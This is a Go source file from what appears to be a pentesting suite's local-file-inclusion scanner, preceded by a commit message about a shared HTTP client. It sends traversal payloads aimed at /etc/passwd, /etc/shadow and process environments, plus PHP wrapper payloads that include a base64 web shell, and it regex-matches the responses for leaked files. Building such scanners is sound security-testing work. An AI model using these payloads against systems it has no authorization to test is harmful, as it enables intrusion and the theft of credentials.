Files
sif/internal/scan/lfi.go
T
vmfunc d0bdcf1690 feat: shared http client with proxy, custom headers and rate limiting
every scanner spun up its own &http.Client, so there was no single place
to apply a proxy, custom headers, a cookie or a rate limit. add an
internal/httpx package that builds one configured transport at startup and
hand it to every scanner via httpx.Client(timeout), keeping behavior
identical when nothing is set (plain client when Configure was never
called).

- httpx.Configure wires -proxy (http/https/socks5), -H/--header, -cookie
  and -rate-limit into a package-level RoundTripper that paces via a
  rate.Limiter and only sets headers the caller hasn't already, so a
  scanner's explicit api key still wins.
- route the scan/wordlist downloads that used http.DefaultClient through
  the shared client too; ports tcp dialing is left untouched.
- clamp -threads to a floor of 1: it feeds wg.Add across the scanners, so
  0 was a silent no-op and a negative value panicked the waitgroup.

document the new flags in the readme, usage docs and man page.
2026-06-09 17:28:14 -07:00

316 lines
10 KiB
Go

/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2026 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"context"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"sync"
"time"
charmlog "github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/httpx"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/output"
)
// LFIResult represents the results of LFI reconnaissance
type LFIResult struct {
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
TestedParams int `json:"tested_params"`
TestedPayloads int `json:"tested_payloads"`
}
// LFIVulnerability represents a detected LFI vulnerability
type LFIVulnerability struct {
URL string `json:"url"`
Parameter string `json:"parameter"`
Payload string `json:"payload"`
Evidence string `json:"evidence"`
Severity string `json:"severity"`
FileIncluded string `json:"file_included,omitempty"`
}
// LFI payloads for directory traversal
var lfiPayloads = []struct {
payload string
target string
severity string
}{
// Linux/Unix paths
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
{"/etc/passwd", "/etc/passwd", "high"},
{"/etc/passwd%00", "/etc/passwd", "high"},
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
// Windows paths
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
{"../../../../../../../boot.ini", "boot.ini", "high"},
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
// PHP wrappers
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
{"expect://id", "command execution", "critical"},
{"php://input", "php input", "high"},
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
}
// Evidence patterns for LFI detection
var lfiEvidencePatterns = []struct {
pattern *regexp.Regexp
description string
severity string
}{
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
}
// Common parameters to test
var commonLFIParams = []string{
"file", "page", "path", "include", "doc", "document",
"folder", "root", "pg", "style", "pdf", "template",
"php_path", "lang", "language", "view", "content",
"layout", "mod", "conf", "url", "dir", "show",
"name", "cat", "action", "read", "load", "open",
}
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
log := output.Module("LFI")
log.Start()
spin := output.NewSpinner("Scanning for LFI vulnerabilities")
spin.Start()
sanitizedURL := stripScheme(targetURL)
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
spin.Stop()
log.Error("Error creating log file: %v", err)
return nil, err
}
}
result := &LFIResult{
Vulnerabilities: make([]LFIVulnerability, 0, 16),
}
seen := make(map[string]bool)
var mu sync.Mutex
var wg sync.WaitGroup
client := httpx.Client(timeout)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
}
// parse the target URL to check for existing parameters
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
existingParams := parsedURL.Query()
paramsToTest := make(map[string]bool)
// add existing parameters
for param := range existingParams {
paramsToTest[param] = true
}
// add common LFI parameters
for _, param := range commonLFIParams {
paramsToTest[param] = true
}
result.TestedParams = len(paramsToTest)
result.TestedPayloads = len(lfiPayloads)
log.Info("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
// create work items
type workItem struct {
param string
payload struct {
payload string
target string
severity string
}
}
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
for param := range paramsToTest {
for _, payload := range lfiPayloads {
workItems = append(workItems, workItem{param: param, payload: payload})
}
}
// distribute work
workChan := make(chan workItem, len(workItems))
for _, item := range workItems {
workChan <- item
}
close(workChan)
wg.Add(threads)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for item := range workChan {
// build test URL
testParams := url.Values{}
for k, v := range existingParams {
if k != item.param {
testParams[k] = v
}
}
testParams.Set(item.param, item.payload.payload)
testURL := fmt.Sprintf("%s://%s%s?%s",
parsedURL.Scheme,
parsedURL.Host,
parsedURL.Path,
testParams.Encode())
req, err := http.NewRequestWithContext(context.TODO(), http.MethodGet, testURL, http.NoBody)
if err != nil {
charmlog.Debugf("Error creating request for %s: %v", testURL, err)
continue
}
resp, err := client.Do(req)
if err != nil {
charmlog.Debugf("Error testing %s: %v", testURL, err)
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
resp.Body.Close()
if err != nil {
continue
}
bodyStr := string(body)
// check for evidence patterns
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(bodyStr) {
key := item.param + "|" + item.payload.payload
mu.Lock()
if seen[key] {
mu.Unlock()
break
}
seen[key] = true
vuln := LFIVulnerability{
URL: testURL,
Parameter: item.param,
Payload: item.payload.payload,
Evidence: evidence.description,
Severity: item.payload.severity,
FileIncluded: item.payload.target,
}
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
mu.Unlock()
spin.Stop()
log.Warn("LFI vulnerability found: %s in param %s - %s",
output.SeverityHigh.Render(evidence.description),
output.Highlight.Render(item.param),
output.Status.Render(item.payload.target))
spin.Start()
if logdir != "" {
logger.Write(sanitizedURL, logdir,
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
evidence.description, item.param, item.payload.payload))
}
break
}
}
}
}()
}
wg.Wait()
spin.Stop()
// summary
if len(result.Vulnerabilities) > 0 {
log.Warn("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
criticalCount := 0
highCount := 0
for _, v := range result.Vulnerabilities {
if v.Severity == "critical" {
criticalCount++
} else if v.Severity == "high" {
highCount++
}
}
if criticalCount > 0 {
log.Error("%d CRITICAL vulnerabilities found!", criticalCount)
}
if highCount > 0 {
log.Warn("%d HIGH severity vulnerabilities found", highCount)
}
log.Complete(len(result.Vulnerabilities), "found")
} else {
log.Info("No LFI vulnerabilities detected")
log.Complete(0, "found")
return nil, nil //nolint:nilnil // no LFI found is not an error
}
return result, nil
}
// DetectLFIFromResponse checks a response body for LFI evidence
func DetectLFIFromResponse(body string) (bool, string) {
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(body) {
return true, evidence.description
}
}
return false, ""
}